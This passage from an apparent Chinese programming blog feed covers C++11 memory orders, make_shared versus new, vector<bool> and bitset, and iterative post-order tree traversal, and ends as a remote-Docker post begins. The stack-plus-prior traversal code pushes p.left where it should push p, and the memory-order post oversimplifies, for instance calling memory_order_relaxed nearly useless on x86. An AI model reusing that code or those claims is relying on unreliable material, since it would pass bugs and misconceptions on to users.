&lt;h1 id=&quot;c-11-memory-order&quot;&gt;C++11 Memory Order&lt;&#x2F;h1&gt;
&lt;p&gt;C++11原子操作的很多函数都有个std::memory_order参数，这个参数就是这里所说的内存模型，其并不是类似POD的内存布局，而是一种数据同步模型，准确说法应该是储存一致性模型，其作用是对同一时间的读写操作进行排序；C++11中一个定义了6种类型，我们可以将其分为4类，下面程序员能理解的语言描述一下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;memory_order_relaxed: 很多文档都说这种模型是完全乱序的，但我理解同一线程内，基本上应该还是按照代码顺序执行的；
memory_order_release &amp;amp; memory_order_acquire: 两个线程A&amp;amp;B，A线程Release后，B线程Acquire能保证一定读到的是最新被修改过的值；这种模型更强大的地方在于它能保证发生在A-Release前的所有写操作，在B-Acquire后都能读到最新值；
memory_order_release &amp;amp; memory_order_consume: 上一个模型的同步是针对所有对象的，这种模型只针对依赖于该操作涉及的对象：比如这个操作发生在变量a上，而s = a + b; 那s依赖于a，但b不依赖于a; 当然这里也有循环依赖的问题，例如：t = s + 1，因为s依赖于a，那t其实也是依赖于a的；
memory_order_seq_cst: 顺序一致性模型，这是C++11原子操作的默认模型；大概行为为对每一个变量都进行2中所说的Release-Acquire操作，当然这也是一个最慢的同步模型；
说到内存模型，就不得不提一下经常被大家误用的 volatile 关键字，这个关键字仅仅保证：数据只在内存中读写，直接操作它既不能保证操作是atomic的，也不能保证Memory Order；其实在我理解中，这个应该是嵌入式，内核或驱动程序员专用关键字:)，当然如果在竞争不敏感的环境中用来做flag用一下也没太大问题.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后要说一下x86体系中Release-Acquire是自动获取的，最终形成一个memory_order_seq_cst模型；因此绝大多数情况下memory_order_relaxed其实并没有什么用.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h1&gt;
&lt;p&gt;摘自：
https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;article&#x2F;1660979
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;24983412
https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;24301047&#x2F;answer&#x2F;85844428
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;45566448&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>shared_ptr 和make_shared 介绍</title>
        <published>2022-05-30T10:03:43+08:00</published>
        <updated>2022-05-30T10:03:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/05/shared-ptr-和make-shared-介绍/"/>
        <id>https://vercel.juzhong.asia/2022/05/shared-ptr-和make-shared-介绍/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/05/shared-ptr-和make-shared-介绍/">&lt;h1 id=&quot;shared-ptr-he-make-shared-jie-shao&quot;&gt;shared_ptr 和make_shared 介绍&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;tiao-kuan-21-jin-liang-shi-yong-std-make-uniquehe-std-make-shareder-bu-zhi-jie-shi-yong-new&quot;&gt;条款21：尽量使用std::make_unique和std::make_shared而不直接使用new&lt;&#x2F;h1&gt;
&lt;p&gt;std::make_unique 和 std::make_shared是三个make函数中的两个，make函数用来把一个任意参数的集合完美转移给一个构造函数从而生成动态分配内存的对象，并返回一个指向那个对象的灵巧指针。
第三个make是std::allocate_shared。它像std::make_shared一样，除了第一个参数是一个分配器对象，用来进行动态内存分配。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-shao-zhong-fu&quot;&gt;减少重复&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;auto upw1(std::make_unique&amp;lt;Widget&amp;gt;());     &amp;#x2F;&amp;#x2F; with make func
std::unique_ptr&amp;lt;Widget&amp;gt; upw2(new Widget); &amp;#x2F;&amp;#x2F; without make func
 
auto spw1(std::make_shared&amp;lt;Widget&amp;gt;());     &amp;#x2F;&amp;#x2F; with make func
std::shared_ptr&amp;lt;Widget&amp;gt; spw2(new Widget); &amp;#x2F;&amp;#x2F; without make func
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用new的版本重复了被创建对象的键入，但是make函数则没有。重复类型违背了软件工程的一个重要原则：
应该避免代码重复，代码中的重复会引起编译次数增加，导致目标代码膨胀，
最终产生更难以维护的代码，通常会引起代码不一致，而不一致经常导致bug产生。另外，输入两次比输入一次要费力些，谁都想减少敲键盘的负担。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;you-xian-shi-yong-makehan-shu-de-di-er-ge-yuan-yin-shi-he-yi-chang-an-quan-you-guan&quot;&gt;优先使用make函数的第二个原因是和异常安全有关&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;int computePriority();
&amp;#x2F;&amp;#x2F; 我们在一个调用processWidget时使用new而不使用std::make_shared:
processWidget(std::shared_ptr&amp;lt;Widget&amp;gt;(new Widget), &amp;#x2F;&amp;#x2F; potential
                         computePriority());       &amp;#x2F;&amp;#x2F; resource
                                                   &amp;#x2F;&amp;#x2F; leak!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码可能会因为new而引起内存泄漏。但怎么引起的呢？调用代码和被调函数都是在使用std::shared_ptr，这本来就是设计成避免内存泄漏的。它可以保证在对象不被使用时销毁所指的对象。只要一直都在使用std::shared_ptr，怎么会泄漏呢？
答案是和编译器翻译代码到目标代码有关。在运行期，传递给函数的参数必须先计算，然后才发生函数调用。因此在调用processWidget时，下面的事情必须在processWidget开始执行前发生：&lt;&#x2F;p&gt;
&lt;p&gt;1.表达式&quot;new Widget&quot;必须先计算，一个Widget对象必须先创建在堆上；
2.负责new出来的对象指针的std::shared_ptr&lt;Widget&gt;的构造函数必须执行；
3.computePriority必须运行。&lt;&#x2F;p&gt;
&lt;p&gt;“new Widget”必须在 std::shared_ptr构造函数前被调用，因为new的结果用作构造函数的参数，但是computePriority可以在上述调用前、后或者中间执行。也就是说编译器可能会产生这样的代码来按如下顺序执行：&lt;&#x2F;p&gt;
&lt;p&gt;1.执行“new Widget”；
2.执行computePriority；
3.调用std::shared_ptr构造函数。&lt;&#x2F;p&gt;
&lt;p&gt;假如这样的代码生成，在运行期，computePriority产生了异常，那么第一步生成的对象会被泄漏掉，因为没有在第3步被保存到 std::shared_ptr。
使用std::make_shared可以避免这个问题。调用代码如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;processWidget(std::make_shared&amp;lt;Widget&amp;gt;(),       &amp;#x2F;&amp;#x2F; no potential
                         computePriority());    &amp;#x2F;&amp;#x2F; resource leak
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在运行期，std::make_shared或者computePriority被首先调用。如果是std::make_shared被首先调用，指向动态内存对象的原始指针会被安全的保存在返回的std::shared_ptr对象中，然后是computePriority被调用 。如果computePriority产生了异常，那std::shared_ptr析构会知道于是它所拥有的对象会被销毁。如果computePriority先调用并产生了异常，std::make_shared不会被调用，因此也不会有动态分配的内存担心。&lt;&#x2F;p&gt;
&lt;p&gt;假如我们把std::shared_ptr和std::make_shared替换成std::unique_ptr 和std::make_unique，会发生相同的事情。使用std::make_unique来代替new在写异常安全的代码里是和使用std::make_shared一样重要。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ling-yi-ge-shi-yong-std-make-sharedde-you-shi-he-zhi-jie-shi-yong-newxiang-bi-shi-hui-ti-sheng-xing-neng&quot;&gt;另一个使用std::make_shared的优势(和直接使用new相比)是会提升性能&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;std::shared_ptr&amp;lt;Widget&amp;gt; spw(new Widget);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很显然这段代码会引起一个内存分配，但实际上是有两次内存分配。条款19解释了每个std::shared_ptr会指向一个控制块，这个控制块除了其他一些东西，包含了所指对象的引用计数。控制块的内存分配是std::shared_ptr的构造函数汇总进行的。这样直接用new需要为Widget来分配一次内存，还要为控制块再分配一次内存。&lt;&#x2F;p&gt;
&lt;p&gt;假如用std::make_shared来代替new，
auto spw = std::make_shared&lt;Widget&gt;();&lt;&#x2F;p&gt;
&lt;p&gt;一次内存分配就足够了。那是因为std::make_shared会分配一块独立的内存既保存Widget对象又保存控制块。这个优化减小了程序的静态尺寸，因为代码只包含一次内存分配的调用，同时增加了代码执行速度，因为只有一次内存分配。另外，使用std::make_shared会避免控制块中的一些记录信息，潜在的减少了程序中内存的使用。&lt;&#x2F;p&gt;
&lt;p&gt;对std::make_shared的性能分析同样适用于std::allocated_shared，因此std::make_shared的性能优势也同样存在于std::allocated_shared。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;huan-you-qing-kuang-bu-neng-huo-zhe-bu-ying-gai-shi-yong-makehan-shu&quot;&gt;还有情况不能或者不应该使用make函数&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;makehan-shu-du-bu-yun-xu-shi-yong-ding-zhi-shan-chu-qi&quot;&gt;make函数都不允许使用定制删除器&lt;&#x2F;h3&gt;
&lt;p&gt;make函数的参数相对直接使用new来说也更健壮。尽管有如此多的工程特性、异常安全以及效率优势，我们这个条款是“尽量”使用make函数，而没有说排除其他情况。那是因为还有情况不能或者不应该使用make函数。
比如，make函数都不允许使用定制删除器（见条款18，条款19），但是std::unique_ptr和std::shared_ptr的构造函数都可以给Widget对象一个定制删除器。&lt;&#x2F;p&gt;
&lt;p&gt;auto widgetDeleter =  { … };&lt;&#x2F;p&gt;
&lt;p&gt;直接使用new来构造一个有定制删除器的灵巧指针：&lt;&#x2F;p&gt;
&lt;p&gt;std::unique_ptr&amp;lt;Widget, decltype(widgetDeleter)&amp;gt;
upw(new Widget, widgetDeleter);
std::shared_ptr&lt;Widget&gt; spw(new Widget, widgetDeleter);&lt;&#x2F;p&gt;
&lt;p&gt;用make函数没法做到这一点。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;makehan-shu-de-di-er-ge-xian-zhi-shi-wu-fa-cong-shi-xian-zhong-huo-de-ju-fa-xi-jie&quot;&gt;make函数的第二个限制是无法从实现中获得句法细节&lt;&#x2F;h3&gt;
&lt;p&gt;条款7解释了当创建一个对象时，如果其类型通过std::initializer_list参数列表来重载构造函数的，尽量用大括号来创建对象而不是std::initializer_list构造函数。相反，用圆括号创建对象时，会调用non-std::initializer_list构造函数。make函数完美传递了参数列表到对象的构造函数，但它们在使用圆括号或大括号时，也是如此吗？对某些类型来说，这个问题的答案有很大不同。比如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto upv = std::make_unique&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt;(10, 20);
auto spv = std::make_shared&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt;(10, 20);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果指针是指向一个10个元素的数组每个元素值是20，还是指向2个元素的数组其值分别是10和20 ？或者无限制？&lt;&#x2F;p&gt;
&lt;p&gt;好消息是并非无限制的 ：两个调用都是构造了10元素的数组，每个元素值都是20。说明在make函数里，转移参数的代码使用了圆括号，而不是大括号。坏消息是，假如你想使用大括号初始化器（ braced initializer）来创建自己的指向对象的指针，你必须直接使用new。使用make函数需要能够完美传递一个大括号初始化器的能力，但是，如条款30中所说的，大括号初始化器不能够完美传递。但条款30也给出了一个补救方案：从大括号初始化器根据auto类型推导来创建一个 std::initializer_list对象，然后把auto对象传递给make函数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; create std::initializer_list
auto initList = { 10, 20 };
 
&amp;#x2F;&amp;#x2F; create std::vector using std::initializer_list ctor
auto spv = std::make_shared&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt;(initList);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ru-he-chu-li-yi-xie-bu-neng-shi-yong-makede-chang-jing&quot;&gt;如何处理一些不能使用make的场景&lt;&#x2F;h2&gt;
&lt;p&gt;对于std::unique_ptr来说，其make函数就只在这两种场景（定制删除器和大括号初始化器）有问题。对于std::shared_pr来说，其make函数的问题会更多一些。这两种都是边缘情况，但是一些开发者就喜欢处理边缘情况，你也许也是其中之一。&lt;&#x2F;p&gt;
&lt;p&gt;一些类会定义自己的opeator new和operator delete。这表示全局的内存分配和释放函数对该对象不合适。通常情况下，类特定的这两个函数被设计成精确的分配或释放类大小的内存块，比如，类Widget的operator new和operator delete仅仅处理sizeof(Widget)大小的内存块。这两个函数作为定制的分配器（通过std::allocate_shared）和解析器（通过定制解析器），对std::shared_ptr的支持并不是很好的选择。因为std::allocate_shared需要的内存数量并不是动态分配的对象的大小，而是对象的大小加上控制块的大小。因此，对于某些对象，其类有特定的operate new和operator delete，使用make函数去创建并不是很好的选择。&lt;&#x2F;p&gt;
&lt;p&gt;std::make_shared在尺寸和速度上的优点同直接使用new相比，阻止了std::shared_ptr的控制块作为管理对象在同样的内存块上分配。当对象的引用计数变为0，对象被销毁（析构函数被调）。然而，直到控制块同样也被销毁，它所拥有的内存才被释放，因为两者都在同一块动态分配的内存上。&lt;&#x2F;p&gt;
&lt;p&gt;我前面提到过，控制块除了引用计数本身还包含了其他一些信息。引用计数记录了有多少std::shared_ptr指针指向控制块。另外控制块中还包含了第二个引用计数，记录了有多少个std::weak_ptr指针指向控制块。这第二个引用计数被称作weak count。当一个std::weak_ptr检查是否过期时（见条款19），它会检查控制块里的引用计数（并不是weak count）。假如引用计数为0（假如被指对象没有std::shared_ptr指向了从而已经被销毁），则过期，否则就没过期。&lt;&#x2F;p&gt;
&lt;p&gt;只要有std::weak_ptr指向一个控制块（weak count大于0），那控制块就一定存在。只要控制块存在，包含它的内存必定存在。这样通过std::shared_ptr的make函数分配的函数则在最后一个std::shared_ptr和最后一个std::weak_ptr被销毁前不能被释放。&lt;&#x2F;p&gt;
&lt;p&gt;假如对象类型很大，以至于最后一个std::shared_ptr和最后一个std::weak_ptr的销毁之间的时间不能忽略时，对象的销毁和内存的释放间会有个延迟发生。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class ReallyBigType { … };

auto pBigObj =  &amp;#x2F;&amp;#x2F; create very large
     std::make_shared&amp;lt;ReallyBigType&amp;gt;(); &amp;#x2F;&amp;#x2F; object via std::make_shared

&amp;#x2F;&amp;#x2F; create std::shared_ptrs and std::weak_ptrs to
&amp;#x2F;&amp;#x2F; large object, use them to work with it
&amp;#x2F;&amp;#x2F; final std::shared_ptr to object destroyed here,
&amp;#x2F;&amp;#x2F; but std::weak_ptrs to it remain
&amp;#x2F;&amp;#x2F; during this period, memory formerly occupied
&amp;#x2F;&amp;#x2F; by large object remains allocated
&amp;#x2F;&amp;#x2F; final std::weak_ptr to object destroyed here;
&amp;#x2F;&amp;#x2F; memory for control block and object is released

&amp;#x2F;&amp;#x2F; 当直接使用new时，ReallyBigType对象的内存可以在最后一个std::shared_ptr销毁时被释放：
class ReallyBigType { … };       &amp;#x2F;&amp;#x2F; as before

std::shared_ptr&amp;lt;ReallyBigType&amp;gt; pBigObj(new ReallyBigType);
                                                   &amp;#x2F;&amp;#x2F; create very large object via new

&amp;#x2F;&amp;#x2F; as before, create std::shared_ptrs and
&amp;#x2F;&amp;#x2F; std::weak_ptrs to object, use them with it
&amp;#x2F;&amp;#x2F; final std::shared_ptr to object destroyed here,
&amp;#x2F;&amp;#x2F; but std::weak_ptrs to it remain;
&amp;#x2F;&amp;#x2F; memory for object is deallocated
&amp;#x2F;&amp;#x2F; during this period, only memory for the
&amp;#x2F;&amp;#x2F; control block remains allocated

&amp;#x2F;&amp;#x2F; final std::weak_ptr to object destroyed here;
&amp;#x2F;&amp;#x2F; memory for control block is released
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;你有没有发现，你处在一个不可能或者不适合用std::make_shared的情况下，你会确保避免之前我们见到的这类异常安全问题。最好的办法是确保你直接用new的时候，立即把new的结果传递给一个灵巧指针的构造函数，别的什么先不做。这样会阻止编译器生成代码，避免在new和灵巧指针的构造函数（会接管new出来的对象）直接产生异常。&lt;&#x2F;p&gt;
&lt;p&gt;举个例子，考虑一个对processWidget函数（我们之前测试过）的非异常安全的调用，这次我们定义一个定制删除器：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void processWidget(std::shared_ptr&amp;lt;Widget&amp;gt; spw, int priority);
 
void cusDel(Widget *ptr);      &amp;#x2F;&amp;#x2F; custom deleter

&amp;#x2F;&amp;#x2F; 这里有个非异常安全的调用:
processWidget(                                           &amp;#x2F;&amp;#x2F; as before,
            std::shared_ptr&amp;lt;Widget&amp;gt;(new Widget, cusDel), &amp;#x2F;&amp;#x2F; potential
            computePriority()                            &amp;#x2F;&amp;#x2F; resource
);                                                       &amp;#x2F;&amp;#x2F; leak!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;回忆下：假如computePriority函数在new Widget之后，但是在std::shared_ptr的构造函数之前被调用，如果computePriority抛了异常，那么动态分配的Widget会被泄露。
这里因为使用了定制删除器，所以不能使用std::make_shared，这里避免问题的方法是把Widget分配内存和构造std::shared_ptr放置到自己的语句中，然后再用std::shared_ptr去调用processWidget。这是这个技巧的本质，当然我们后面会看到我们可以提升其性能：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::shared_ptr&amp;lt;Widget&amp;gt; spw(new Widget, cusDel);
processWidget(spw, computePriority()); &amp;#x2F;&amp;#x2F; correct, but not optimal; see below
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为std::shared_ptr拥有从构造函数传递给它的原始指针，即使在构造函数产生异常时，所以上述代码运行正常。在这个例子中，如果spw的构造函数抛异常（比如因为不能够为控制块分配到动态内存），它仍然会保证调用cusDel去析构new Widget返回的结果。&lt;&#x2F;p&gt;
&lt;p&gt;不同之处在于，我们在非异常安全的代码里给processWidget传递了一个右值。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;processWidget(
    std::shared_ptr&amp;lt;Widget&amp;gt;(new Widget, cusDel), &amp;#x2F;&amp;#x2F; arg is rvalue
     computePriority()
);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而在异常安全的调用中，我们传递了一个左值&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;processWidget(spw, computePriority()); &amp;#x2F;&amp;#x2F; arg is lvalue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为processWidget的std::shared_ptr参数是通过传值的，从一个右值去构造仅仅需要一个move，而从左值去构造需要一个拷贝。对std::shared_ptr来说，这个区别很重要，因为拷贝一个std::shared_ptr需要对其引用计数进行加1的原子操作，而移动一个std::shared_ptr根本不需要对引用计数进行操作。对于这段异常安全的代码如果要达到非异常安全的代码的性能，我们在spw上应用std::move,而把它转化成一个右值(见条款23)：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;processWidget(std::move(spw),               &amp;#x2F;&amp;#x2F; both efficient and
                        computePriority()); &amp;#x2F;&amp;#x2F; exception safe
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个很有趣，也应该知道。但是同时也无关紧要。因为你应该很少有理由不直接使用make函数。除非你有特别的理由不去用它，否则你应该使用make函数来完成你要做的。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>为什么不提倡使用vector&lt;bool&gt;</title>
        <published>2022-05-18T23:39:55+08:00</published>
        <updated>2022-05-18T23:39:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/05/为什么不提倡使用vector-bool/"/>
        <id>https://vercel.juzhong.asia/2022/05/为什么不提倡使用vector-bool/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/05/为什么不提倡使用vector-bool/">&lt;h1 id=&quot;wei-shen-me-bu-ti-chang-shi-yong-vector&quot;&gt;为什么不提倡使用vector&lt;bool&gt;&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;wei-shen-me-bu-ti-chang-shi-yong-vector-bool&quot;&gt;为什么不提倡使用vector&amp;lt;bool&amp;gt;&lt;&#x2F;h1&gt;
&lt;p&gt;vector&amp;lt;bool&amp;gt;并不是一个STL容器，不是一个STL容器，不是一个STL容器！首先vector&amp;lt;bool&amp;gt; 并不是一个通常意义上的vector容器，这个源自于历史遗留问题。 早在C++98的时候，就有vector&amp;lt;bool&amp;gt;这个类型了，但是因为当时为了考虑到节省空间的想法，所以vector&amp;lt;bool&amp;gt;里面不是一个Byte一个Byte储存的，它是一个bit一个bit储存的！因为C++没有直接去给一个bit来操作，所以用operator[]的时候，正常容器返回的应该是一个对应元素的引用，但是对于vector&amp;lt; bool&amp;gt;实际上访问的是一个&quot;proxy reference&quot;而不是一个&quot;true reference&quot;，返回的是&quot;std::vector&amp;lt;bool&amp;gt;:reference&quot;类型的对象。 而一般情况情况下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vector&amp;lt;bool&amp;gt; c{ false, true, false, true, false  }; 
bool b = c[0]; 
auto d = c[0]; 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于b的初始化它其实暗含了一个隐式的类型转换。
而对于d，它的类型并不是bool，而是一个vector&amp;lt;bool&amp;gt;中的一个内部类。
而此时如果修改d的值，c中的值也会跟着修改&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;d = true;
for(auto i:c)
    cout&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&amp;quot; &amp;quot;;
cout&amp;lt;&amp;lt;endl;
&amp;#x2F;&amp;#x2F;上式会输出1 1 0 1 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而如果c被销毁(c.pop_back())，d就会变成一个悬垂指针，再对d操作就属于未定义行为。
为什么说vector&amp;lt;bool&amp;gt;不是一个标准容器，就是因为它不能支持一些容器该有的基本操作，诸如取地址给指针初始化操作&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vector&amp;lt;bool&amp;gt; c{ false, true, false, true, false  }; 
&amp;amp;tmp = c[0];&amp;#x2F;&amp;#x2F;错误，不能编译，对于引用来说，因为c[0]不是一个左值 
bool *p = &amp;amp;c[0];&amp;#x2F;&amp;#x2F;错误，不能编译，因为无法将一个临时量地址给绑定到指针 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bitsets&quot;&gt;bitsets&lt;&#x2F;h1&gt;
&lt;p&gt;C++ Bitsets给程序员提供一种位集合的数据结构。Bitsets使用许多二元操作符，比如逻辑和，或等。
bitset();
bitset(unsigned long val);
C++Bitsets能以无参的形式创建，或者提供一个长无符号整数，它将被转化为二进制，然后插入到bitset中。
当创建bitset时，模板中提供的数字决定bitset有多长。&lt;&#x2F;p&gt;
&lt;p&gt;常用方法
all any count flip none
reset set size test to_string
to_ullong to_ulong&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>二叉树后序遍历</title>
        <published>2022-05-18T16:43:21+08:00</published>
        <updated>2022-05-18T16:43:21+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/05/二叉树后序遍历/"/>
        <id>https://vercel.juzhong.asia/2022/05/二叉树后序遍历/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/05/二叉树后序遍历/">&lt;h1 id=&quot;er-cha-shu-hou-xu-bian-li&quot;&gt;二叉树后序遍历&lt;&#x2F;h1&gt;
&lt;p&gt;二叉树的后序遍历算法比较难，尤其是非递归。但是后序遍历的应用最广泛，最容易出现算法题，因此一定要牢牢掌握。其中迭代的方法又较递归的方法快，但是也是非常令人头疼的一件事。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;1-di-gui-suan-fa&quot;&gt;1.递归算法&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;public void postOrderRecur(TreeNode root){
    if(root != null){
        postOrderRecur(root.left);
        postOrderRecur(root.right);
        visit(root);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;递归算法比较简单，一般没有特殊要求的时候，首选递归算法。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;2-fei-di-gui-suan-fa&quot;&gt;2.非递归算法&lt;&#x2F;h1&gt;
&lt;p&gt;我们知道，递归算法其实就是调用了系统栈，因此我们可以通过自己使用一个辅助栈将递归算法改为迭代的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-1-zhan-ji-he&quot;&gt;2.1 栈+集合&lt;&#x2F;h2&gt;
&lt;p&gt;使用栈将递归转非递归，使用集合在常数时间内可以判断一个结点的孩子是否被访问过：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;public void postOrder_(){
    if(root == null) return;
    Stack&amp;lt;TreeNode&amp;gt; s = new Stack&amp;lt;&amp;gt;();
    Set&amp;lt;TreeNode&amp;gt; visit = new HashSet&amp;lt;&amp;gt;();
    TreeNode p = root;
    s.push(p);
    while(!s.isEmpty()){
        p = s.peek();
        if(p.left != null &amp;amp;&amp;amp; !visit.contains(p.left)){&amp;#x2F;&amp;#x2F;左孩子存在且尚未被访问过
            s.push(p.left);
        }else if(p.right != null &amp;amp;&amp;amp; !visit.contains(p.right)){&amp;#x2F;&amp;#x2F;右孩子存在且未被访问过
            s.push(p.right);
        }else{
            p = s.pop();
            visited(p);&amp;#x2F;&amp;#x2F;访问节点
            visit.add(p);
        }
    }
    return;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-2-zhan-prior&quot;&gt;2.2 栈+prior&lt;&#x2F;h2&gt;
&lt;p&gt;prior用于记录上一个被访问过的结点。如果一个结点的右孩子为空，或者右孩子已经被访问过了，则该节点可以被访问。判断右孩子为空不难，但是怎么判断右孩子已经被访问过了呢，当然我们可以像2.1中那样，额外使用一个集合，但是这里我们利用一条性质（书上没讲，别的地方也不会讲，其实也不算性质，就是在做题的时候发现的一条规律）：在后序遍历序列中，一个结点的右孩子（如果存在）一定是紧挨着该节点并在该节点前面的。例如上图中的8前面是它的右孩子10，2前面是5，3前面是7…
那么我们想想，是不是当我们的上一个访问结点prior的值是某个结点p的右孩子的时候，那么这次一定轮到这个p结点被访问；
又因为我们知道，根据后序便利的规则，对于一个非空节点，每次我们都是先直接找到它的最左下子孙结点开始第一次访问的。例如图中的1，我们一直找到最左下结点8，才开始第一次访问，路径上的结点都暂存在栈中，然后回退的时候，才从栈中取出他们进行访问。也就是说，当从栈中取出一个结点的时候，它的左孩子已经必然被访问过了，因此我们这个时候只需要考虑它的右孩子。
而它的右孩子只有三种情况：&lt;&#x2F;p&gt;
&lt;p&gt;右孩子不存在，那么我们就可以直接访问该节点了；
右孩子存在但没被访问过，怎么判断呢，就是上面说的，右孩子不等于prior，那么我们开始转到右孩子那里去处理；
右孩子已经被访问过，前面说了，如果右孩子被访问了，那么接下来要被访问的必然是它自己，那么必定有右孩子==prior成立，此时我们可以访问该节点了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;public void postOrder(){
    if(root == null) return;
    Stack&amp;lt;TreeNode&amp;gt; s = new Stack&amp;lt;&amp;gt;();
    TreeNode p = root, prior = null;
    while (p != null || !s.isEmpty()){&amp;#x2F;&amp;#x2F;p不为空或者栈不空
        while (p != null){&amp;#x2F;&amp;#x2F;找到一个子树的最左下节点
            s.push(p.left);
            p = p.left;
        }
        p = s.peek();&amp;#x2F;&amp;#x2F;从栈中取出的这个结点，其左孩子必定已经被访问过
        if (p.right != null &amp;amp;&amp;amp; p.right != prior) {&amp;#x2F;&amp;#x2F;如果该节点的右子树不空，且没有被访问过，转向右子树
            p = p.right;
            s.push(p);
            p = p.left;
        } else {&amp;#x2F;&amp;#x2F;访问该节点
            p = s.pop();
            visit(p);
            prior = p;&amp;#x2F;&amp;#x2F;标识访问过的节点，对于一个节点来说，他在后序遍历中的顺序是紧跟着其右孩子的（右孩子不空时）
            p = null;&amp;#x2F;&amp;#x2F;访问完，将其指向空，因为对于栈顶节点（该节点的父亲），其左孩子已经被访问过了。
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3.二叉树后序遍历的应用
二叉树的后序遍历有一个性值：每当访问一个节点时，栈中的结点正好全是它的祖先结点。我们可以利用这个性质求树的深度，求从根节点到某节点的路径，求两个结点的公共祖先等等，力扣上有很多这样的题目。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>vscode using remote docker</title>
        <published>2022-05-16T17:28:51+08:00</published>
        <updated>2022-05-16T17:28:51+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/05/vscode-using-remote-docker/"/>
        <id>https://vercel.juzhong.asia/2022/05/vscode-using-remote-docker/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/05/vscode-using-remote-docker/">&lt;h1 id=&quot;vscode-using-remote-docker&quot;&gt;vscode using remote docker&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;dockerkai-qi-yuan-cheng-duan-kou&quot;&gt;Docker开启远程端口&lt;&#x2F;h1&gt;
&lt;p&gt;在远程主机上：&lt;&#x2F;p&gt;
